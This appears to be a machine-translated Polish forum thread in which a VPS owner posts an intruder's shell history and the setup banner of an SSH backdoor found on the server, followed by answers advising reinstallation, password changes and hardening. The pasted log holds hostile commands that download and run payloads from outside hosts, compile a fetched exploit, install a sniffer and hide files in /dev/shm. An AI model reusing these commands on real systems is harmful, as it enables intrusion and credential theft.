Znaleziono SSH Backdoor na VServer. Co robić?

Wczoraj sprawdziłem historię poleceń na moim VServerie. Znalazłem kilka podejrzanych linii.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Zwłaszcza szokował mnie sniffer.tgz. Skonfigurowałem maszynę wirtualną i pobrałem to archiwum TGZ. Rozpocząłem konfigurację, która dała mi następujące linie:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Czy ktoś wie, jak to usunąć?

Oto, co powinieneś zrobić na wszystkich systemach, na których miałeś to sniffer.tgz: Nuke Them From Orbit natychmiast i zacznij od czystej instalacji. (Oznacza to, że zniszcz system (systemy), zainstaluj ponownie w czystości, załaduj dane z czystych kopii zapasowych - zakładając, że masz czyste kopie zapasowe, a następnie utwardź system (systemy) przed ponownym umieszczeniem ich w Internecie).

Ilekroć masz złośliwe oprogramowanie lub hakerów przedostaje się do twojego systemu w ten sposób, nadszedł czas, aby ponownie przeanalizować konfigurację twojego systemu i upewnić się, że nie powtórzysz tych samych kroków, z którymi oni się rozpoczęli. Ponieważ jednak może to nie być system, masz możliwość odłożenia na bok i analizy kryminalistycznej, a ponieważ może to być twój jedyny serwer, nadszedł czas, aby po prostu zniszczyć system wirtualny i zacząć od nowa (jak powiedziałem powyżej).

(I dotyczy to każdej sytuacji, w której dostajesz złośliwe oprogramowanie w systemie. Jeśli nie masz zapasowego sprzętu, aby wymienić coś takiego, abyś mógł wyizolować i zbadać kryminalnie system, którego zwykle nie ma większość użytkowników, nie masz wyboru, ale nuke systemu i zacząć od nowa.)

Bez analizy twojego serwera nie mogę naprawdę powiedzieć, co zrobiłeś źle, ale jest prawdopodobne, że to backdoor jest głębiej w systemie niż zwykły „program”, który został zainstalowany. A ponieważ złoczyńcy już zainstalowali backdoor w twoim systemie, możesz założyć, że wszystkie twoje hasła są teraz naruszone i nie są już bezpieczne (czy to dla SSH, MySQL root, czy innego rodzaju hasła, które ma EVER zostały wprowadzone do tego systemu komputerowego). Czas zmienić wszystkie hasła!

Gdy wrócisz do czystego środowiska, oto kilka podstawowych wskazówek dotyczących kroków związanych z utwardzaniem. Zwróć uwagę, że ponieważ sprawiają one, że temat jest znacznie szerszy, nie mogę tutaj szczegółowo zagłębiać się w szczegóły, ale zdecydowanie nadszedł czas, aby wykonać kilka kroków utwardzania w celu ochrony systemu:

1. Włącz zaporę i zezwalaj tylko na dostęp do portów, które należy otworzyć . ufwistnieje, aby być prostym, więc skorzystajmy z tego. sudo ufw enable. (Właściwa konfiguracja ufwdla twojego środowiska to inna historia, która wykracza poza granice tego pytania).

2. Ogranicz dostęp do zdalnego SSH . Nie zawsze jest to wykonalne, ale najlepiej byłoby zidentyfikować adresy IP, które są własnością użytkownika, a konkretnie umieścić je na białej liście w zaporze. (Jeśli korzystasz z dynamicznego domowego adresu IP, pomiń ten krok).

3. Zablokuj dostęp SSH do swojego serwera i wymagaj użycia kluczy SSH tylko do uwierzytelnienia . W ten sposób hakerzy nie mogą zaatakować twojego serwera i spróbować odgadnąć hasła. O wiele trudniej jest odgadnąć odpowiedni klucz prywatny (bo trzeba by wszystkie bruteforce wymusić), a to pomaga chronić przed atakami brutalizującymi.

4. Jeśli prowadzisz witrynę, pamiętaj o zablokowaniu uprawnień, aby ludzie nie mogli przesyłać / wykonywać rzeczy w wolnym czasie . Czynności te różnią się w zależności od witryny, więc nie mogę dać ci więcej wskazówek (nie da się tego zrobić).

5. Również jeśli prowadzisz witrynę internetową przy użyciu Joomla lub Wordpress lub podobnej, upewnij się, że środowisko jest aktualne i załatane pod kątem luk bezpieczeństwa od dostawców oprogramowania .

6. Tam, gdzie to możliwe, skonfiguruj, skonfiguruj i użyj metod uwierzytelniania dwuskładnikowego (2FA) dla rzeczy, które uwierzytelniasz . Istnieje wiele rozwiązań uwierzytelniania drugiego stopnia dla różnych aplikacji, a zabezpieczanie różnych aplikacji w ten sposób wykracza poza zakres tego postu, dlatego powinieneś zbadać ten punkt, zanim wybierzesz rozwiązanie.

7. Jeśli bezwzględnie musisz użyć haseł w konfiguracji, użyj porządnego menedżera haseł (te w chmurze niekoniecznie są dobrym wyborem) i użyj długich (ponad 25 znaków), losowych, niemożliwych do zapamiętania haseł, które są różne dla każdego elementu, który jest zabezpieczone hasłami (stąd zalecenie dla menedżera haseł). (Należy jednak zdecydowanie rozważyć NIE używanie haseł tam, gdzie to możliwe (np. Do uwierzytelniania SSH) i używanie 2FA tam, gdzie to możliwe).

Jeśli jest jeden backdoor, są jeszcze 3. Izoluj, twórz kopie zapasowe danych, nuke go i ostrożnie przywracaj dane. Uważaj na dane crona, php, a nawet mysql, wszystko to może zostać naruszone. Pamiętaj, że w tym momencie mają wszystkie twoje hasła i skróty, więc jeśli inne maszyny skonfigurowane w podobny sposób, prawdopodobnie również je zhakowały ... Trudno jest ustalić, jak się do tego zabrali. Jeśli WordPress szuka złośliwego oprogramowania we wtyczkach / motywach itp. Sprawdź swoje uprawnienia, możesz mieć 777 wszędzie. Nie ma prostej odpowiedzi, patrzysz na dużo pracy.